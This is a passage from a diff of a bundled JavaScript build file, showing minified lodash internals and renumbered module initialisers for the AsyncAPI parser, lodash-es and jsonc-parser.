Qi.prototype.has = function(e13) { - return this.__data__.has(e13); - }, Ki.prototype.clear = function() { - this.__data__ = new zi(), this.size = 0; - }, Ki.prototype.delete = function(e13) { - var t11 = this.__data__, i10 = t11.delete(e13); - return this.size = t11.size, i10; - }, Ki.prototype.get = function(e13) { - return this.__data__.get(e13); - }, Ki.prototype.has = function(e13) { - return this.__data__.has(e13); - }, Ki.prototype.set = function(e13, t11) { - var i10 = this.__data__; - if (i10 instanceof zi) { - var n10 = i10.__data__; - if (!xi || n10.length < 199) - return n10.push([e13, t11]), this.size = ++i10.size, this; - i10 = this.__data__ = new Bi(n10); - } - return i10.set(e13, t11), this.size = i10.size, this; - }; - var dn = Ir(bn), fn = Ir(vn, true); - function ln(e13, t11) { - var i10 = true; - return dn(e13, function(e14, n10, r9) { - return i10 = !!t11(e14, n10, r9); - }), i10; - } - function un(e13, t11, i10) { - for (var n10 = -1, o8 = e13.length; ++n10 < o8; ) { - var s8 = e13[n10], a8 = t11(s8); - if (null != a8 && (p8 === r8 ? a8 == a8 && !aa(a8) : i10(a8, p8))) - var p8 = a8, c8 = s8; - } - return c8; - } - function mn(e13, t11) { - var i10 = []; - return dn(e13, function(e14, n10, r9) { - t11(e14, n10, r9) && i10.push(e14); - }), i10; - } - function hn(e13, t11, i10, n10, r9) { - var o8 = -1, s8 = e13.length; - for (i10 || (i10 = ho), r9 || (r9 = []); ++o8 < s8; ) { - var a8 = e13[o8]; - t11 > 0 && i10(a8) ? t11 > 1 ? hn(a8, t11 - 1, i10, n10, r9) : qt(r9, a8) : n10 || (r9[r9.length] = a8); - } - return r9; - } - var yn = Er(), gn = Er(true); - function bn(e13, t11) { - return e13 && yn(e13, t11, Ia); - } - function vn(e13, t11) { - return e13 && gn(e13, t11, Ia); - } - function jn(e13, t11) { - return Tt(t11, function(t12) { - return Js(e13[t12]); - }); - } - function $n(e13, t11) { - for (var i10 = 0, n10 = (t11 = yr(t11, e13)).length; null != e13 && i10 < n10; ) - e13 = e13[Do(t11[i10++])]; - return i10 && i10 == n10 ? e13 : r8; - } - function xn(e13, t11, i10) { - var n10 = t11(e13); - return zs(e13) ? n10 : qt(n10, i10(e13)); - } - function _n(e13) { - return null == e13 ? e13 === r8 ? "[object Undefined]" : "[object Null]" : Ye2 && Ye2 in we5(e13) ? function(e14) { - var t11 = ke4.call(e14, Ye2), i10 = e14[Ye2]; - try { - e14[Ye2] = r8; - var n10 = true; - } catch (e15) { - } - var o8 = De3.call(e14); - return n10 && (t11 ? e14[Ye2] = i10 : delete e14[Ye2]), o8; - }(e13) : function(e14) { - return De3.call(e14); - }(e13); - } - function wn(e13, t11) { - return e13 > t11; - } - function Sn(e13, t11) { - return null != e13 && ke4.call(e13, t11); - } - function Pn(e13, t11) { - return null != e13 && t11 in we5(e13); - } - function On(e13, t11, i10) { - for (var o8 = i10 ? It : At, s8 = e13[0].length, a8 = e13.length, p8 = a8, c8 = n9(a8), d8 = 1 / 0, f9 = []; p8--; ) { - var l8 = e13[p8]; - p8 && t11 && (l8 = Et(l8, Wt(t11))), d8 = yi(l8.length, d8), c8[p8] = !i10 && (t11 || s8 >= 120 && l8.length >= 120) ? new Qi(p8 && l8) : r8; - } - l8 = e13[0]; - var u8 = -1, m8 = c8[0]; - e: - for (; ++u8 < s8 && f9.length < d8; ) { - var h9 = l8[u8], y8 = t11 ? t11(h9) : h9; - if (h9 = i10 || 0 !== h9 ? h9 : 0, !(m8 ? Zt(m8, y8) : o8(f9, y8, i10))) { - for (p8 = a8; --p8; ) { - var g8 = c8[p8]; - if (!(g8 ? Zt(g8, y8) : o8(e13[p8], y8, i10))) - continue e; - } - m8 && m8.push(y8), f9.push(h9); - } - } - return f9; - } - function Tn(e13, t11, i10) { - var n10 = null == (e13 = So(e13, t11 = yr(t11, e13))) ? e13 : e13[Do(Wo(t11))]; - return null == n10 ? r8 : _t2(n10, e13, i10); - } - function An(e13) { - return ea(e13) && _n(e13) == h8; - } - function In(e13, t11, i10, n10, o8) { - return e13 === t11 || (null == e13 || null == t11 || !ea(e13) && !ea(t11) ? e13 != e13 && t11 != t11 : function(e14, t12, i11, n11, o9, s8) { - var a8 = zs(e14), p8 = zs(t12), c8 = a8 ? y7 : lo(e14), d8 = p8 ? y7 : lo(t12), f9 = (c8 = c8 == h8 ? w6 : c8) == w6, l8 = (d8 = d8 == h8 ? w6 : d8) == w6, u8 = c8 == d8; - if (u8 && Hs(e14)) { - if (!Hs(t12)) - return false; - a8 = true, f9 = false; - } - if (u8 && !f9) - return s8 || (s8 = new Ki()), a8 || pa(e14) ? Yr(e14, t12, i11, n11, o9, s8) : function(e15, t13, i12, n12, r9, o10, s9) { - switch (i12) { - case q5: - if (e15.byteLength != t13.byteLength || e15.byteOffset != t13.byteOffset) - return false; - e15 = e15.buffer, t13 = t13.buffer; - case E6: - return !(e15.byteLength != t13.byteLength || !o10(new Le3(e15), new Le3(t13))); - case g7: - case b8: - case _6: - return Ns(+e15, +t13); - case v8: - return e15.name == t13.name && e15.message == t13.message; - case P6: - case T6: - return e15 == t13 + ""; - case x7: - var a9 = ri; - case O7: - var p9 = 1 & n12; - if (a9 || (a9 = ai), e15.size != t13.size && !p9) - return false; - var c9 = s9.get(e15); - if (c9) - return c9 == t13; - n12 |= 2, s9.set(e15, t13); - var d9 = Yr(a9(e15), a9(t13), n12, r9, o10, s9); - return s9.delete(e15), d9; - case A6: - if (Ri) - return Ri.call(e15) == Ri.call(t13); - } - return false; - }(e14, t12, c8, i11, n11, o9, s8); - if (!(1 & i11)) { - var m8 = f9 && ke4.call(e14, "__wrapped__"), j7 = l8 && ke4.call(t12, "__wrapped__"); - if (m8 || j7) { - var $6 = m8 ? e14.value() : e14, S7 = j7 ? t12.value() : t12; - return s8 || (s8 = new Ki()), o9($6, S7, i11, n11, s8); - } - } - return !!u8 && (s8 || (s8 = new Ki()), function(e15, t13, i12, n12, o10, s9) { - var a9 = 1 & i12, p9 = eo(e15), c9 = p9.length; - if (c9 != eo(t13).length && !a9) - return false; - for (var d9 = c9; d9--; ) { - var f10 = p9[d9]; - if (!(a9 ? f10 in t13 : ke4.call(t13, f10))) - return false; - } - var l9 = s9.get(e15), u9 = s9.get(t13); - if (l9 && u9) - return l9 == t13 && u9 == e15; - var m9 = true; - s9.set(e15, t13), s9.set(t13, e15); - for (var h9 = a9; ++d9 < c9; ) { - var y8 = e15[f10 = p9[d9]], g8 = t13[f10]; - if (n12) - var b9 = a9 ? n12(g8, y8, f10, t13, e15, s9) : n12(y8, g8, f10, e15, t13, s9); - if (!(b9 === r8 ? y8 === g8 || o10(y8, g8, i12, n12, s9) : b9)) { - m9 = false; - break; - } - h9 || (h9 = "constructor" == f10); - } - if (m9 && !h9) { - var v9 = e15.constructor, j8 = t13.constructor; - v9 == j8 || !("constructor" in e15) || !("constructor" in t13) || "function" == typeof v9 && v9 instanceof v9 && "function" == typeof j8 && j8 instanceof j8 || (m9 = false); - } - return s9.delete(e15), s9.delete(t13), m9; - }(e14, t12, i11, n11, o9, s8)); - }(e13, t11, i10, n10, In, o8)); - } - function En(e13, t11, i10, n10) { - var o8 = i10.length, s8 = o8, a8 = !n10; - if (null == e13) - return !s8; - for (e13 = we5(e13); o8--; ) { - var p8 = i10[o8]; - if (a8 && p8[2] ? p8[1] !== e13[p8[0]] : !(p8[0] in e13)) - return false; - } - for (; ++o8 < s8; ) { - var c8 = (p8 = i10[o8])[0], d8 = e13[c8], f9 = p8[1]; - if (a8 && p8[2]) { - if (d8 === r8 && !(c8 in e13)) - return false; - } else { - var l8 = new Ki(); - if (n10) - var u8 = n10(d8, f9, c8, e13, t11, l8); - if (!(u8 === r8 ? In(f9, d8, 3, n10, l8) : u8)) - return false; - } - } - return true; - } - function qn(e13) { - return !(!Xs(e13) || (t11 = e13, Re3 && Re3 in t11)) && (Js(e13) ? Ne3 : he4).test(Co(e13)); - var t11; - } - function kn(e13) { - return "function" == typeof e13 ? e13 : null == e13 ? ip : "object" == typeof e13 ? zs(e13) ? Vn(e13[0], e13[1]) : Cn(e13) : fp(e13); - } - function Mn(e13) { - if (!$o(e13)) - return mi(e13); - var t11 = []; - for (var i10 in we5(e13)) - ke4.call(e13, i10) && "constructor" != i10 && t11.push(i10); - return t11; - } - function Rn(e13, t11) { - return e13 < t11; - } - function Dn(e13, t11) { - var i10 = -1, r9 = Qs(e13) ? n9(e13.length) : []; - return dn(e13, function(e14, n10, o8) { - r9[++i10] = t11(e14, n10, o8); - }), r9; - } - function Cn(e13) { - var t11 = ao(e13); - return 1 == t11.length && t11[0][2] ? _o(t11[0][0], t11[0][1]) : function(i10) { - return i10 === e13 || En(i10, e13, t11); - }; - } - function Vn(e13, t11) { - return bo(e13) && xo(t11) ? _o(Do(e13), t11) : function(i10) { - var n10 = Sa(i10, e13); - return n10 === r8 && n10 === t11 ? Pa(i10, e13) : In(t11, n10, 3); - }; - } - function Nn(e13, t11, i10, n10, o8) { - e13 !== t11 && yn(t11, function(s8, a8) { - if (o8 || (o8 = new Ki()), Xs(s8)) - !function(e14, t12, i11, n11, o9, s9, a9) { - var p9 = Po(e14, i11), c8 = Po(t12, i11), d8 = a9.get(c8); - if (d8) - Zi(e14, i11, d8); - else { - var f9 = s9 ? s9(p9, c8, i11 + "", e14, t12, a9) : r8, l8 = f9 === r8; - if (l8) { - var u8 = zs(c8), m8 = !u8 && Hs(c8), h9 = !u8 && !m8 && pa(c8); - f9 = c8, u8 || m8 || h9 ? zs(p9) ? f9 = p9 : Ks(p9) ? f9 = Pr(p9) : m8 ? (l8 = false, f9 = jr(c8, true)) : h9 ? (l8 = false, f9 = xr(c8, true)) : f9 = [] : na(c8) || Ls(c8) ? (f9 = p9, Ls(p9) ? f9 = ya(p9) : Xs(p9) && !Js(p9) || (f9 = mo(c8))) : l8 = false; - } - l8 && (a9.set(c8, f9), o9(f9, c8, n11, s9, a9), a9.delete(c8)), Zi(e14, i11, f9); - } - }(e13, t11, a8, i10, Nn, n10, o8); - else { - var p8 = n10 ? n10(Po(e13, a8), s8, a8 + "", e13, t11, o8) : r8; - p8 === r8 && (p8 = s8), Zi(e13, a8, p8); - } - }, Ea); - } - function Fn(e13, t11) { - var i10 = e13.length; - if (i10) - return yo(t11 += t11 < 0 ? i10 : 0, i10) ? e13[t11] : r8; - } - function Un(e13, t11, i10) { - t11 = t11.length ? Et(t11, function(e14) { - return zs(e14) ? function(t12) { - return $n(t12, 1 === e14.length ? e14[0] : e14); - } : e14; - }) : [ip]; - var n10 = -1; - t11 = Et(t11, Wt(oo())); - var r9 = Dn(e13, function(e14, i11, r10) { - var o8 = Et(t11, function(t12) { - return t12(e14); - }); - return { criteria: o8, index: ++n10, value: e14 }; - }); - return function(e14) { - var t12 = e14.length; - for (e14.sort(function(e15, t13) { - return function(e16, t14, i11) { - for (var n11 = -1, r10 = e16.criteria, o8 = t14.criteria, s8 = r10.length, a8 = i11.length; ++n11 < s8; ) { - var p8 = _r(r10[n11], o8[n11]); - if (p8) - return n11 >= a8 ? p8 : p8 * ("desc" == i11[n11] ? -1 : 1); - } - return e16.index - t14.index; - }(e15, t13, i10); - }); t12--; ) - e14[t12] = e14[t12].value; - return e14; - }(r9); - } - function Ln(e13, t11, i10) { - for (var n10 = -1, r9 = t11.length, o8 = {}; ++n10 < r9; ) { - var s8 = t11[n10], a8 = $n(e13, s8); - i10(a8, s8) && Jn(o8, yr(s8, e13), a8); - } - return o8; - } - function zn(e13, t11, i10, n10) { - var r9 = n10 ? Ft : Nt, o8 = -1, s8 = t11.length, a8 = e13; - for (e13 === t11 && (t11 = Pr(t11)), i10 && (a8 = Et(e13, Wt(i10))); ++o8 < s8; ) - for (var p8 = 0, c8 = t11[o8], d8 = i10 ? i10(c8) : c8; (p8 = r9(a8, d8, p8, n10)) > -1; ) - a8 !== e13 && He2.call(a8, p8, 1), He2.call(e13, p8, 1); - return e13; - } - function Bn(e13, t11) { - for (var i10 = e13 ? t11.length : 0, n10 = i10 - 1; i10--; ) { - var r9 = t11[i10]; - if (i10 == n10 || r9 !== o8) { - var o8 = r9; - yo(r9) ? He2.call(e13, r9, 1) : pr(e13, r9); - } - } - return e13; - } - function Qn(e13, t11) { - return e13 + ut2(vi() * (t11 - e13 + 1)); - } - function Kn(e13, t11) { - var i10 = ""; - if (!e13 || t11 < 1 || t11 > f8) - return i10; - do { - t11 % 2 && (i10 += e13), (t11 = ut2(t11 / 2)) && (e13 += e13); - } while (t11); - return i10; - } - function Hn(e13, t11) { - return Ao(wo(e13, t11, ip), e13 + ""); - } - function Gn(e13) { - return Gi(Na(e13)); - } - function Wn(e13, t11) { - var i10 = Na(e13); - return qo(i10, on4(t11, 0, i10.length)); - } - function Jn(e13, t11, i10, n10) { - if (!Xs(e13)) - return e13; - for (var o8 = -1, s8 = (t11 = yr(t11, e13)).length, a8 = s8 - 1, p8 = e13; null != p8 && ++o8 < s8; ) { - var c8 = Do(t11[o8]), d8 = i10; - if ("__proto__" === c8 || "constructor" === c8 || "prototype" === c8) - return e13; - if (o8 != a8) { - var f9 = p8[c8]; - (d8 = n10 ? n10(f9, c8, p8) : r8) === r8 && (d8 = Xs(f9) ? f9 : yo(t11[o8 + 1]) ? [] : {}); - } - Yi(p8, c8, d8), p8 = p8[c8]; - } - return e13; + return e13; } var Zn = Oi ? function(e13, t11) { return Oi.set(e13, t11), e13; @@ -121570,7 +114800,7 @@ var init_external_docs = __esm({ // node_modules/@asyncapi/parser/esm/models/v2/tags.js var Tags; -var init_tags2 = __esm({ +var init_tags = __esm({ "node_modules/@asyncapi/parser/esm/models/v2/tags.js"() { init_dirname(); init_buffer2(); @@ -121657,7 +114887,7 @@ var init_mixins = __esm({ init_extensions(); init_extension(); init_external_docs(); - init_tags2(); + init_tags(); init_tag(); init_utils(); init_constants(); @@ -121736,7 +114966,7 @@ var init_info = __esm({ init_contact(); init_external_docs(); init_license(); - init_tags2(); + init_tags(); init_tag(); init_mixins(); Info = class extends BaseModel { @@ -121839,9 +115069,9 @@ var init_channel_parameters = __esm({ }); // node_modules/@asyncapi/parser/esm/schema-parser/index.js -function validateSchema(parser3, input) { +function validateSchema(parser2, input) { return __awaiter(this, void 0, void 0, function* () { - const schemaParser = parser3.parserRegistry.get(input.schemaFormat); + const schemaParser = parser2.parserRegistry.get(input.schemaFormat); if (schemaParser === void 0) { const { path: path2, schemaFormat } = input; path2.pop(); @@ -121859,21 +115089,21 @@ function validateSchema(parser3, input) { return schemaParser.validate(input); }); } -function parseSchema(parser3, input) { +function parseSchema(parser2, input) { return __awaiter(this, void 0, void 0, function* () { - const schemaParser = parser3.parserRegistry.get(input.schemaFormat); + const schemaParser = parser2.parserRegistry.get(input.schemaFormat); if (schemaParser === void 0) { throw new Error("Unknown schema format"); } return schemaParser.parse(input); }); } -function registerSchemaParser(parser3, schemaParser) { +function registerSchemaParser(parser2, schemaParser) { if (typeof schemaParser !== "object" || typeof schemaParser.validate !== "function" || typeof schemaParser.parse !== "function" || typeof schemaParser.getMimeTypes !== "function") { throw new Error('Custom parser must have "parse()", "validate()" and "getMimeTypes()" functions.'); } schemaParser.getMimeTypes().forEach((schemaFormat) => { - parser3.parserRegistry.set(schemaFormat, schemaParser); + parser2.parserRegistry.set(schemaFormat, schemaParser); }); } function getSchemaFormat(schematFormat, asyncapiVersion) { @@ -121923,7 +115153,7 @@ var init_schema_parser = __esm({ // node_modules/@asyncapi/parser/esm/models/v2/schema.js var Schema2; -var init_schema4 = __esm({ +var init_schema = __esm({ "node_modules/@asyncapi/parser/esm/models/v2/schema.js"() { init_dirname(); init_buffer2(); @@ -122247,7 +115477,7 @@ var init_channel_parameter = __esm({ init_buffer2(); init_process2(); init_base(); - init_schema4(); + init_schema(); init_mixins(); ChannelParameter = class extends BaseModel { id() { @@ -122434,7 +115664,7 @@ var init_message_trait = __esm({ init_correlation_id(); init_message_examples(); init_message_example(); - init_schema4(); + init_schema(); init_constants(); init_mixins(); init_schema_parser(); @@ -123650,7 +116880,7 @@ function identity(value2) { return value2; } var identity_default; -var init_identity2 = __esm({ +var init_identity = __esm({ "node_modules/lodash-es/identity.js"() { init_dirname(); init_buffer2(); @@ -123837,7 +117067,7 @@ var init_baseSetData = __esm({ init_dirname(); init_buffer2(); init_process2(); - init_identity2(); + init_identity(); init_metaMap(); baseSetData = !metaMap_default ? identity_default : function(func, data) { metaMap_default.set(func, data); @@ -124388,7 +117618,7 @@ var init_baseSetToString = __esm({ init_process2(); init_constant(); init_defineProperty(); - init_identity2(); + init_identity(); baseSetToString = !defineProperty_default ? identity_default : function(func, string2) { return defineProperty_default(func, "toString", { "configurable": true, @@ -125145,7 +118375,7 @@ var init_baseRest = __esm({ init_dirname(); init_buffer2(); init_process2(); - init_identity2(); + init_identity(); init_overRest(); init_setToString(); baseRest_default = baseRest; @@ -129069,7 +122299,7 @@ var init_baseIteratee = __esm({ init_process2(); init_baseMatches(); init_baseMatchesProperty(); - init_identity2(); + init_identity(); init_isArray(); init_property(); baseIteratee_default = baseIteratee; @@ -130139,7 +123369,7 @@ var init_castFunction = __esm({ init_dirname(); init_buffer2(); init_process2(); - init_identity2(); + init_identity(); castFunction_default = castFunction; } }); @@ -130866,7 +124096,7 @@ function map2(collection, iteratee2) { return func(collection, baseIteratee_default(iteratee2, 3)); } var map_default; -var init_map2 = __esm({ +var init_map = __esm({ "node_modules/lodash-es/map.js"() { init_dirname(); init_buffer2(); @@ -130890,7 +124120,7 @@ var init_flatMap = __esm({ init_buffer2(); init_process2(); init_baseFlatten(); - init_map2(); + init_map(); flatMap_default = flatMap; } }); @@ -130906,7 +124136,7 @@ var init_flatMapDeep = __esm({ init_buffer2(); init_process2(); init_baseFlatten(); - init_map2(); + init_map(); INFINITY4 = 1 / 0; flatMapDeep_default = flatMapDeep; } @@ -130924,7 +124154,7 @@ var init_flatMapDepth = __esm({ init_buffer2(); init_process2(); init_baseFlatten(); - init_map2(); + init_map(); init_toInteger(); flatMapDepth_default = flatMapDepth; } @@ -131674,7 +124904,7 @@ var init_invert = __esm({ init_process2(); init_constant(); init_createInverter(); - init_identity2(); + init_identity(); objectProto24 = Object.prototype; nativeObjectToString3 = objectProto24.toString; invert = createInverter_default(function(result2, value2, key) { @@ -132515,7 +125745,7 @@ var init_max = __esm({ init_process2(); init_baseExtremum(); init_baseGt(); - init_identity2(); + init_identity(); max_default = max; } }); @@ -132586,7 +125816,7 @@ var init_mean = __esm({ init_buffer2(); init_process2(); init_baseMean(); - init_identity2(); + init_identity(); mean_default = mean; } }); @@ -132609,7 +125839,7 @@ var init_meanBy = __esm({ // node_modules/lodash-es/merge.js var merge2, merge_default; -var init_merge2 = __esm({ +var init_merge = __esm({ "node_modules/lodash-es/merge.js"() { init_dirname(); init_buffer2(); @@ -132671,7 +125901,7 @@ var init_min = __esm({ init_process2(); init_baseExtremum(); init_baseLt(); - init_identity2(); + init_identity(); min_default = min; } }); @@ -133232,7 +126462,7 @@ var init_baseOrderBy = __esm({ init_baseSortBy(); init_baseUnary(); init_compareMultiple(); - init_identity2(); + init_identity(); init_isArray(); baseOrderBy_default = baseOrderBy; } @@ -134458,7 +127688,7 @@ function set2(object, path2, value2) { return object == null ? object : baseSet_default(object, path2, value2); } var set_default; -var init_set2 = __esm({ +var init_set = __esm({ "node_modules/lodash-es/set.js"() { init_dirname(); init_buffer2(); @@ -134747,7 +127977,7 @@ var init_baseSortedIndex = __esm({ init_buffer2(); init_process2(); init_baseSortedIndexBy(); - init_identity2(); + init_identity(); init_isSymbol(); MAX_ARRAY_LENGTH4 = 4294967295; HALF_MAX_ARRAY_LENGTH = MAX_ARRAY_LENGTH4 >>> 1; @@ -135089,7 +128319,7 @@ var init_sum = __esm({ init_buffer2(); init_process2(); init_baseSum(); - init_identity2(); + init_identity(); sum_default = sum; } }); @@ -136776,7 +130006,7 @@ var init_collection_default = __esm({ init_includes(); init_invokeMap(); init_keyBy(); - init_map2(); + init_map(); init_orderBy(); init_partition(); init_reduce(); @@ -137174,14 +130404,14 @@ var init_object_default = __esm({ init_keysIn(); init_mapKeys(); init_mapValues(); - init_merge2(); + init_merge(); init_mergeWith(); init_omit(); init_omitBy(); init_pick(); init_pickBy(); init_result(); - init_set2(); + init_set(); init_setWith(); init_toPairs(); init_toPairsIn(); @@ -137250,7 +130480,7 @@ var init_object = __esm({ init_buffer2(); init_process2(); init_get(); - init_set2(); + init_set(); init_object_default(); } }); @@ -137296,7 +130526,7 @@ var init_seq_default = __esm({ }); // node_modules/lodash-es/seq.js -var init_seq2 = __esm({ +var init_seq = __esm({ "node_modules/lodash-es/seq.js"() { init_dirname(); init_buffer2(); @@ -137380,7 +130610,7 @@ var init_string_default = __esm({ }); // node_modules/lodash-es/string.js -var init_string2 = __esm({ +var init_string = __esm({ "node_modules/lodash-es/string.js"() { init_dirname(); init_buffer2(); @@ -137404,7 +130634,7 @@ var init_util_default = __esm({ init_defaultTo(); init_flow(); init_flowRight(); - init_identity2(); + init_identity(); init_iteratee(); init_matches(); init_matchesProperty(); @@ -137613,8 +130843,8 @@ var init_lodash_default = __esm({ init_math(); init_number(); init_object(); - init_seq2(); - init_string2(); + init_seq(); + init_string(); init_util(); init_LazyWrapper(); init_LodashWrapper(); @@ -137627,7 +130857,7 @@ var init_lodash_default = __esm({ init_baseIteratee(); init_baseRest(); init_createHybrid(); - init_identity2(); + init_identity(); init_isArray(); init_isObject(); init_keys(); @@ -138568,7 +131798,7 @@ var init_lodash = __esm({ init_has(); init_hasIn(); init_head(); - init_identity2(); + init_identity(); init_inRange(); init_includes(); init_indexOf(); @@ -138630,7 +131860,7 @@ var init_lodash = __esm({ init_lowerFirst(); init_lt(); init_lte(); - init_map2(); + init_map(); init_mapKeys(); init_mapValues(); init_matches(); @@ -138640,7 +131870,7 @@ var init_lodash = __esm({ init_mean(); init_meanBy(); init_memoize(); - init_merge2(); + init_merge(); init_mergeWith(); init_method(); init_methodOf(); @@ -138695,7 +131925,7 @@ var init_lodash = __esm({ init_round(); init_sample(); init_sampleSize(); - init_set2(); + init_set(); init_setWith(); init_shuffle(); init_size(); @@ -139831,7 +133061,7 @@ function visit3(text, visitor, options) { return true; } var ParseOptions; -var init_parser2 = __esm({ +var init_parser = __esm({ "node_modules/jsonc-parser/lib/esm/impl/parser.js"() { "use strict"; init_dirname(); @@ -139854,7 +133084,7 @@ var init_edit = __esm({ init_buffer2(); init_process2(); init_format(); - init_parser2(); + init_parser(); } }); @@ -139906,7 +133136,7 @@ var init_main = __esm({ init_format(); init_edit(); init_scanner(); - init_parser2(); + init_parser(); createScanner2 = createScanner; findNodeAtOffset2 = findNodeAtOffset; getNodePath2 = getNodePath; @@ -152639,7 +145869,7 @@ var require_runner = __commonJS({ var dependency_graph_1 = require_dep_graph(); var immer_1 = require_dist5(); var get4 = (init_get(), __toCommonJS(get_exports)); - var set4 = (init_set2(), __toCommonJS(set_exports)); + var set4 = (init_set(), __toCommonJS(set_exports)); var URI = require_URI(); var uri_1 = require_uri2(); var cache_1 = require_cache(); @@ -154118,10 +147348,10 @@ var require_document = __commonJS({ } exports28.normalizeSource = normalizeSource; var Document8 = class { - constructor(input, parser3, source) { + constructor(input, parser2, source) { this.input = input; - this.parser = parser3; - this.parserResult = parser3.parse(input); + this.parser = parser2; + this.parserResult = parser2.parse(input); this.source = normalizeSource(source); this.diagnostics = (0, errorMessages_1.formatParserDiagnostics)(this.parserResult.diagnostics, this.source); } @@ -154198,8 +147428,8 @@ var require_documentInventory = __commonJS({ const source = resolveOpts.targetAuthority.href().replace(/\/$/, ""); const ext = (0, path_1.extname)(source); const content = String(resolveOpts.result); - const parser3 = ext === ".json" ? Parsers.Json : Parsers.Yaml; - const document3 = new document_1.Document(content, parser3, source); + const parser2 = ext === ".json" ? Parsers.Json : Parsers.Yaml; + const document3 = new document_1.Document(content, parser2, source); resolveOpts.result = document3.data; if (document3.diagnostics.length > 0) { this.diagnostics.push(...(0, errorMessages_1.formatParserDiagnostics)(document3.diagnostics, document3.source)); @@ -163111,10 +156341,10 @@ var require_parser2 = __commonJS({ init_process2(); Object.defineProperty(exports28, "__esModule", { value: true }); var parserError = require_parser_error(); - var parser3 = require_parser(); + var parser2 = require_parser(); var { parse: parse17 - } = parser3; + } = parser2; function parse$1(input) { try { return parse17(input); @@ -172610,7 +165840,7 @@ var init_message = __esm({ init_message_traits(); init_message_trait(); init_servers(); - init_schema4(); + init_schema(); init_utils2(); Message = class extends MessageTrait { hasPayload() { @@ -173317,7 +166547,7 @@ var init_components = __esm({ init_correlation_id(); init_message_trait(); init_operation_trait(); - init_schema4(); + init_schema(); init_security_scheme(); init_server(); init_server_variable(); @@ -173532,7 +166762,7 @@ var init_v2 = __esm({ init_operation_traits(); init_operation(); init_operations(); - init_schema4(); + init_schema(); init_schemas(); init_security_scheme(); init_security_schemes(); @@ -173541,7 +166771,7 @@ var init_v2 = __esm({ init_server(); init_servers(); init_tag(); - init_tags2(); + init_tags(); } }); @@ -173672,7 +166902,7 @@ var init_external_docs2 = __esm({ // node_modules/@asyncapi/parser/esm/models/v3/tags.js var Tags2; -var init_tags3 = __esm({ +var init_tags2 = __esm({ "node_modules/@asyncapi/parser/esm/models/v3/tags.js"() { init_dirname(); init_buffer2(); @@ -173764,7 +166994,7 @@ var init_mixins2 = __esm({ init_extensions2(); init_extension2(); init_external_docs2(); - init_tags3(); + init_tags2(); init_tag2(); init_utils(); init_constants(); @@ -173995,7 +167225,7 @@ var init_channel_parameters2 = __esm({ // node_modules/@asyncapi/parser/esm/models/v3/schema.js var Schema3; -var init_schema5 = __esm({ +var init_schema2 = __esm({ "node_modules/@asyncapi/parser/esm/models/v3/schema.js"() { init_dirname(); init_buffer2(); @@ -174331,7 +167561,7 @@ var init_channel_parameter2 = __esm({ init_process2(); init_base(); init_mixins2(); - init_schema5(); + init_schema2(); ChannelParameter2 = class extends BaseModel { id() { return this._meta.id; @@ -174921,7 +168151,7 @@ var init_message_trait2 = __esm({ init_correlation_id2(); init_message_examples2(); init_message_example2(); - init_schema5(); + init_schema2(); init_constants(); init_mixins2(); MessageTrait2 = class extends CoreModel { @@ -174990,7 +168220,7 @@ var init_message2 = __esm({ init_message_traits2(); init_message_trait2(); init_servers2(); - init_schema5(); + init_schema2(); init_constants(); Message2 = class extends MessageTrait2 { hasPayload() { @@ -175421,7 +168651,7 @@ var init_components2 = __esm({ init_operation_trait2(); init_operation_reply(); init_operation_reply_address(); - init_schema5(); + init_schema2(); init_security_scheme2(); init_server2(); init_server_variable2(); @@ -175443,7 +168673,7 @@ var init_components2 = __esm({ init_message2(); init_external_documentations(); init_external_docs2(); - init_tags3(); + init_tags2(); init_tag2(); init_utils2(); Components2 = class extends BaseModel { @@ -175666,7 +168896,7 @@ var init_v3 = __esm({ init_operation_reply(); init_operation2(); init_operations2(); - init_schema5(); + init_schema2(); init_schemas2(); init_security_scheme2(); init_security_schemes2(); @@ -175675,7 +168905,7 @@ var init_v3 = __esm({ init_server2(); init_servers2(); init_tag2(); - init_tags3(); + init_tags2(); } }); @@ -175970,7 +169200,7 @@ var init_operations3 = __esm({ }); // node_modules/@asyncapi/parser/esm/models/schema.js -var init_schema6 = __esm({ +var init_schema3 = __esm({ "node_modules/@asyncapi/parser/esm/models/schema.js"() { init_dirname(); init_buffer2(); @@ -176069,7 +169299,7 @@ var init_tag3 = __esm({ }); // node_modules/@asyncapi/parser/esm/models/tags.js -var init_tags4 = __esm({ +var init_tags3 = __esm({ "node_modules/@asyncapi/parser/esm/models/tags.js"() { init_dirname(); init_buffer2(); @@ -176119,7 +169349,7 @@ var init_models = __esm({ init_operation_traits3(); init_operation3(); init_operations3(); - init_schema6(); + init_schema3(); init_schemas3(); init_security_requirement3(); init_security_requirements3(); @@ -176130,7 +169360,7 @@ var init_models = __esm({ init_server3(); init_servers3(); init_tag3(); - init_tags4(); + init_tags3(); } }); @@ -176219,7 +169449,7 @@ function traverseStringifiedData(parent2, field, root2, objToPath, pathToObj) { } } var refRoot; -var init_stringify2 = __esm({ +var init_stringify = __esm({ "node_modules/@asyncapi/parser/esm/stringify.js"() { init_dirname(); init_buffer2(); @@ -176294,7 +169524,7 @@ var init_document = __esm({ init_buffer2(); init_process2(); init_models(); - init_stringify2(); + init_stringify(); init_utils2(); init_constants(); } @@ -176458,7 +169688,7 @@ var init_resolve_circular_refs = __esm({ }); // node_modules/@asyncapi/parser/esm/custom-operations/parse-schema.js -function parseSchemasV2(parser3, detailed) { +function parseSchemasV2(parser2, detailed) { return __awaiter9(this, void 0, void 0, function* () { const defaultSchemaFormat = getDefaultSchemaFormat(detailed.semver.version); const parseItems = []; @@ -176495,10 +169725,10 @@ function parseSchemasV2(parser3, detailed) { } }); }); - return Promise.all(parseItems.map((item) => parseSchemaV2(parser3, item))); + return Promise.all(parseItems.map((item) => parseSchemaV2(parser2, item))); }); } -function parseSchemasV3(parser3, detailed) { +function parseSchemasV3(parser2, detailed) { return __awaiter9(this, void 0, void 0, function* () { const defaultSchemaFormat = getDefaultSchemaFormat(detailed.semver.version); const parseItems = []; @@ -176539,14 +169769,14 @@ function parseSchemasV3(parser3, detailed) { } }); }); - return Promise.all(parseItems.map((item) => parseSchemaV3(parser3, item))); + return Promise.all(parseItems.map((item) => parseSchemaV3(parser2, item))); }); } -function parseSchemaV3(parser3, item) { +function parseSchemaV3(parser2, item) { var _a2; return __awaiter9(this, void 0, void 0, function* () { const originalData = item.input.data; - const parsedData = yield parseSchema(parser3, item.input); + const parsedData = yield parseSchema(parser2, item.input); if (((_a2 = item.value) === null || _a2 === void 0 ? void 0 : _a2.schema) !== void 0) { item.value.schema = parsedData; } else { @@ -176557,10 +169787,10 @@ function parseSchemaV3(parser3, item) { } }); } -function 